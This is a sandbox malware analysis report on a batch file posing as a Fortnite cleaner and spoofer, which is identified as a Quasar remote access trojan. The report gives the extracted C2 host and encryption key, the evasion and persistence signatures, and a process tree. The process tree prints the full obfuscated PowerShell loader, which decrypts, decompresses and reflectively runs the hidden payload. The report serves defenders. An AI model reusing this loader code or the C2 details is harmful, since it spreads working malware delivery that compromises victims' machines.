Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/12/2024, 21:58

General

  • Target

    FortniteCleanerandSpoofer.bat

  • Size

    11.7MB

  • MD5

    2633869ac4a9cb98b01488ac2cb20d72

  • SHA1

    167871fab0a19acaf7ad22144d8fdb5b09959a28

  • SHA256

    6a52f0cf77b3706de713eff3d7e038ff13d5ca7c8fc837f4eee0adac079cf522

  • SHA512

    f4d48d8e672d828c79b65b886c1ca3a423701cd6a8077c0ab78c4d2e60284ed505fc971975beab3e79bd9b9c20f821b52111258642c8bbb4024891a343004543

  • SSDEEP

    49152:z+8TuE0MoXJ8qRdxr47sbd6rBJYqfpbAgpK64KspQPEf+UWONvGFni6xha3DrNG0:k

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v3.0.6 | Zuni

C2

infallible-water-17742.pktriot.net:22270

Mutex

35d8168c-a187-4a7a-91c1-0c08c720bf29

Attributes
  • encryption_key

    8D3F0F423E546AEF9412DC2001F9C1DAB11CB7F5

  • install_name

    .exe

  • log_directory

    $sxr-Logs

  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Impair Defenses: Safe Mode Boot 1 TTPs 64 IoCs
  • Hide Artifacts: Hidden Window 1 TTPs 3 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Drops file in System32 directory 8 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:620
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:376
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:684
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:960
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:744
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1040
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                1⤵
                  PID:1056
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1060
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                      PID:1220
                      • C:\Windows\system32\taskhostw.exe
                        taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                        2⤵
                          PID:2848
                        • C:\Windows\$sxr-mshta.exe
                          C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-WBlSEbOzWbJeQSTDCyTx4312:HtTKjDxk=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
                          2⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          • Modifies registry class
                          • Suspicious use of WriteProcessMemory
                          PID:2284
                          • C:\Windows\$sxr-cmd.exe
                            "C:\Windows\$sxr-cmd.exe" /c %$sxr-WBlSEbOzWbJeQSTDCyTx4312:HtTKjDxk=%
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:5048
                            • C:\Windows\System32\Conhost.exe
                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              4⤵
                                PID:3216
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /S /D /c" echo function qPado($BUiEu){ $RyyHO=[System.Security.Cryptography.Aes]::Create(); $RyyHO.Mode=[System.Security.Cryptography.CipherMode]::CBC; $RyyHO.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $RyyHO.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('a5lyFGqi9jTFLN4jf+o+Cd1zU9m3kFmZPysW0oTd7XE='); $RyyHO.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('MLMf8pI73sJbGhoTspciwg=='); $OSpaw=$RyyHO.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $RtQPh=$OSpaw.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($BUiEu, 0, $BUiEu.Length); $OSpaw.Dispose(); $RyyHO.Dispose(); $RtQPh;}function kJkUj($BUiEu){ $QTvMm=New-Object System.IO.MemoryStream(,$BUiEu); $erqTB=New-Object System.IO.MemoryStream; Invoke-Expression '$grtAU @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QTvMm,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $grtAU.CopyTo($erqTB); $grtAU.Dispose(); $QTvMm.Dispose(); $erqTB.Dispose(); $erqTB.ToArray();}function ENban($BUiEu){ $RtQPh = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($BUiEu); $RtQPh = qPado($RtQPh); $RtQPh = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($RtQPh); return $RtQPh;}function execute_function($BUiEu,$uCWLd){ $BvHco = @( '$XkDeS = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::Load([byte[]]$BUiEu);'.Replace('@', ''), '$aJdnp = $XkDeS.EntryPoint;', '$aJdnp.Invoke($null, $uCWLd);' ); foreach ($kGmCk in $BvHco) { Invoke-Expression $kGmCk };}$kQJMC = ENban('aH6uj92IiQR+vYgt+XOsBg==');$AwstG = ENban('pVkDnoWRA2EyptOwJt8oM1xMY4nTOM0yWZ3LP3MPFtU=');$LuDOe = ENban('Aj8WtPuioyE0UzQgxx7jfA==');$XzwKg = ENban('0wp/VaFswpEUloIf9M7edA==');if (@(get-process -ea silentlycontinue $XzwKg).count -gt 1) {exit};$YRKad = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($kQJMC).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($AwstG);$MGcci=kJkUj (qPado ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($YRKad)));execute_function $MGcci (,[string[]] ($LuDOe)); "
                                4⤵
                                  PID:4460
                                • C:\Windows\$sxr-powershell.exe
                                  C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
                                  4⤵
                                  • Executes dropped EXE
                                  • Hide Artifacts: Hidden Window
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of SetWindowsHookEx
                                  • Suspicious use of WriteProcessMemory
                                  PID:1892
                                  • C:\Windows\$sxr-cmd.exe
                                    "C:\Windows\$sxr-cmd.exe" /C echo [System.Diagnostics.Process]::GetProcessById(1892).WaitForExit();[System.Threading.Thread]::Sleep(5000); function qPado($BUiEu){ $RyyHO=[System.Security.Cryptography.Aes]::Create(); $RyyHO.Mode=[System.Security.Cryptography.CipherMode]::CBC; $RyyHO.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $RyyHO.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('a5lyFGqi9jTFLN4jf+o+Cd1zU9m3kFmZPysW0oTd7XE='); $RyyHO.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('MLMf8pI73sJbGhoTspciwg=='); $OSpaw=$RyyHO.("@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@".Replace("@", ""))(); $RtQPh=$OSpaw.("@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@".Replace("@", ""))($BUiEu, 0, $BUiEu.Length); $OSpaw.Dispose(); $RyyHO.Dispose(); $RtQPh;}function kJkUj($BUiEu){ $QTvMm=New-Object System.IO.MemoryStream(,$BUiEu); $erqTB=New-Object System.IO.MemoryStream; Invoke-Expression '$grtAU @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QTvMm,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $grtAU.CopyTo($erqTB); $grtAU.Dispose(); $QTvMm.Dispose(); $erqTB.Dispose(); $erqTB.ToArray();}function ENban($BUiEu){ $RtQPh = [System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($BUiEu); $RtQPh = qPado($RtQPh); $RtQPh = [System.Text.Encoding]::("@U@T@F@8@".Replace("@", "")).("@G@e@t@S@t@r@i@n@g@".Replace("@", ""))($RtQPh); return $RtQPh;}function execute_function($BUiEu,$uCWLd){ $BvHco = @( '$XkDeS = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::Load([byte[]]$BUiEu);'.Replace("@", ""), '$aJdnp = $XkDeS.EntryPoint;', '$aJdnp.Invoke($null, $uCWLd);' ); foreach ($kGmCk in $BvHco) { Invoke-Expression $kGmCk };}$kQJMC = ENban('aH6uj92IiQR+vYgt+XOsBg==');$AwstG = ENban('pVkDnoWRA2EyptOwJt8oM1xMY4nTOM0yWZ3LP3MPFtU=');$LuDOe = ENban('Aj8WtPuioyE0UzQgxx7jfA==');$XzwKg = ENban('0wp/VaFswpEUloIf9M7edA==');if (@(get-process -ea silentlycontinue $XzwKg).count -gt 1) {exit};$YRKad = [Microsoft.Win32.Registry]::("@L@o@c@a@l@M@a@c@h@i@n@e@".Replace("@", "")).("@O@p@e@n@S@u@b@k@e@y@".Replace("@", ""))($kQJMC).("@G@e@t@V@a@l@u@e@".Replace("@", ""))($AwstG);$MGcci=kJkUj (qPado ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($YRKad)));execute_function $MGcci (,[string[]] ($LuDOe)); | C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass > nul
                                    5⤵
                                    • Executes dropped EXE
                                    • Hide Artifacts: Hidden Window
                                    PID:208
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" echo [System.Diagnostics.Process]::GetProcessById(1892).WaitForExit();[System.Threading.Thread]::Sleep(5000); function qPado($BUiEu){ $RyyHO=[System.Security.Cryptography.Aes]::Create(); $RyyHO.Mode=[System.Security.Cryptography.CipherMode]::CBC; $RyyHO.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $RyyHO.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('a5lyFGqi9jTFLN4jf+o+Cd1zU9m3kFmZPysW0oTd7XE='); $RyyHO.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('MLMf8pI73sJbGhoTspciwg=='); $OSpaw=$RyyHO.("@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@".Replace("@", ""))(); $RtQPh=$OSpaw.("@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@".Replace("@", ""))($BUiEu, 0, $BUiEu.Length); $OSpaw.Dispose(); $RyyHO.Dispose(); $RtQPh;}function kJkUj($BUiEu){ $QTvMm=New-Object System.IO.MemoryStream(,$BUiEu); $erqTB=New-Object System.IO.MemoryStream; Invoke-Expression '$grtAU @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$QTvMm,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $grtAU.CopyTo($erqTB); $grtAU.Dispose(); $QTvMm.Dispose(); $erqTB.Dispose(); $erqTB.ToArray();}function ENban($BUiEu){ $RtQPh = [System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($BUiEu); $RtQPh = qPado($RtQPh); $RtQPh = [System.Text.Encoding]::("@U@T@F@8@".Replace("@", "")).("@G@e@t@S@t@r@i@n@g@".Replace("@", ""))($RtQPh); return $RtQPh;}function execute_function($BUiEu,$uCWLd){ $BvHco = @( '$XkDeS = [System.@R@e@f@l@e@c@t@i@o@[email protected]]::Load([byte[]]$BUiEu);'.Replace("@", ""), '$aJdnp = $XkDeS.EntryPoint;', '$aJdnp.Invoke($null, $uCWLd);' ); foreach ($kGmCk in $BvHco) { Invoke-Expression $kGmCk };}$kQJMC = ENban('aH6uj92IiQR+vYgt+XOsBg==');$AwstG = ENban('pVkDnoWRA2EyptOwJt8oM1xMY4nTOM0yWZ3LP3MPFtU=');$LuDOe = ENban('Aj8WtPuioyE0UzQgxx7jfA==');$XzwKg = ENban('0wp/VaFswpEUloIf9M7edA==');if (@(get-process -ea silentlycontinue $XzwKg).count -gt 1) {exit};$YRKad = [Microsoft.Win32.Registry]::("@L@o@c@a@l@M@a@c@h@i@n@e@".Replace("@", "")).("@O@p@e@n@S@u@b@k@e@y@".Replace("@", ""))($kQJMC).("@G@e@t@V@a@l@u@e@".Replace("@", ""))($AwstG);$MGcci=kJkUj (qPado ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($YRKad)));execute_function $MGcci (,[string[]] ($LuDOe)); "
                                      6⤵
                                        PID:4220
                                      • C:\Windows\$sxr-powershell.exe
                                        C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
                                        6⤵
                                        • Executes dropped EXE
                                        • Hide Artifacts: Hidden Window
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4008
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                              1⤵
                                PID:1248
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                1⤵
                                  PID:1336
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1376
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1388
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                      1⤵
                                        PID:1412
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                        1⤵
                                          PID:1428
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                          1⤵
                                            PID:1564
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                            1⤵
                                              PID:1576
                                              • C:\Windows\system32\sihost.exe
                                                sihost.exe
                                                2⤵
                                                  PID:2924
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                1⤵
                                                  PID:1600
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                  1⤵
                                                    PID:1692
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                    1⤵
                                                      PID:1740
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1812
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                        1⤵
                                                          PID:1836
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                          1⤵
                                                            PID:1856
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                            1⤵
                                                              PID:1868
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                              1⤵
                                                                PID:1968
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                1⤵
                                                                  PID:1752
                                                                • C:\Windows\System32\spoolsv.exe
                                                                  C:\Windows\System32\spoolsv.exe
                                                                  1⤵
                                                                    PID:2092
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                    1⤵
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2148
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                    1⤵
                                                                      PID:2220
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                      1⤵
                                                                        PID:2332
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                        1⤵
                                                                          PID:2448
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                          1⤵
                                                                            PID:2456
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                            1⤵
                                                                            • Drops file in System32 directory
                                                                            PID:2692
                                                                          • C:\Windows\sysmon.exe
                                                                            C:\Windows\sysmon.exe
                                                                            1⤵
                                                                              PID:2736
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                              1⤵
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:2752
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                              1⤵
                                                                                PID:2764
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                1⤵
                                                                                  PID:2772
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                  1⤵
                                                                                    PID:3028
                                                                                  • C:\Windows\system32\wbem\unsecapp.exe
                                                                                    C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                    1⤵
                                                                                      PID:3056
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                      1⤵
                                                                                        PID:784
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                        1⤵
                                                                                          PID:3328
                                                                                        • C:\Windows\Explorer.EXE
                                                                                          C:\Windows\Explorer.EXE
                                                                                          1⤵
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:3432
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FortniteCleanerandSpoofer.bat"
                                                                                            2⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:3864
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo function wxtqr($ODxam){ $yFHSw=[System.Security.Cryptography.Aes]::Create(); $yFHSw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $yFHSw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $yFHSw.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('MlS5vgEV14RQQ3ZEfZqUBeQcgrXfss4V2pUy4tjwV1I='); $yFHSw.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('nxrFwGMsIIo9SFRZFcB28A=='); $maSQj=$yFHSw.CreateDecryptor(); $return_var=$maSQj.TransformFinalBlock($ODxam, 0, $ODxam.Length); $maSQj.Dispose(); $yFHSw.Dispose(); $return_var;}function WDxBz($ODxam){ $GXRNP=New-Object System.IO.MemoryStream(,$ODxam); $ruNFB=New-Object System.IO.MemoryStream; Invoke-Expression '$PBbkq #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$GXRNP,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $PBbkq.CopyTo($ruNFB); $PBbkq.Dispose(); $GXRNP.Dispose(); $ruNFB.Dispose(); $ruNFB.ToArray();}function HXYOu($ODxam,$waUGN){ $agWIT = @( '$XEdTc = [System.#R#e#f#l#e#c#t#i#o#n#.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$ODxam);'.Replace("#", ""), '$PzJKk = $XEdTc.EntryPoint;', '$PzJKk.Invoke($null, $waUGN);' ); foreach ($ayBSI in $agWIT) { Invoke-Expression $ayBSI };}$ulpxy=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\FortniteCleanerandSpoofer.bat').Split([Environment]::NewLine);foreach ($WdBTO in $ulpxy) { if ($WdBTO.StartsWith('SIROXEN')) { $xSKPu=$WdBTO.Substring(7); break; }}$NWMte=WDxBz (wxtqr ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($xSKPu)));HXYOu $NWMte (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\FortniteCleanerandSpoofer.bat')); "
                                                                                              3⤵
                                                                                                PID:3372
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
                                                                                                3⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Deletes itself
                                                                                                • Impair Defenses: Safe Mode Boot
                                                                                                • Drops file in Windows directory
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4032
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                            1⤵
                                                                                              PID:3552
                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                              1⤵
                                                                                                PID:3728
                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                1⤵
                                                                                                  PID:3920
                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:704
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                    1⤵
                                                                                                      PID:2444
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                      1⤵
                                                                                                        PID:8
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                        1⤵
                                                                                                          PID:1472
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                          1⤵
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:2972
                                                                                                        • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                          "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                          1⤵
                                                                                                          • Drops file in System32 directory
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:2656
                                                                                                        • C:\Windows\system32\SppExtComObj.exe
                                                                                                          C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:1608
                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                            1⤵
                                                                                                              PID:4808
                                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                              1⤵
                                                                                                                PID:2856
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                1⤵
                                                                                                                  PID:3540
                                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:4788
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                    1⤵
                                                                                                                      PID:4528
                                                                                                                    • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                      C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                      1⤵
                                                                                                                      • Checks BIOS information in registry
                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                      • Enumerates system info in registry
                                                                                                                      PID:2788
                                                                                                                    • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                      C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                      1⤵
                                                                                                                        PID:4112
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                        1⤵
                                                                                                                          PID:3584
                                                                                                                        • C:\Windows\System32\mousocoreworker.exe
                                                                                                                          C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                          1⤵
                                                                                                                            PID:4916
                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                            C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                            1⤵
                                                                                                                              PID:1180

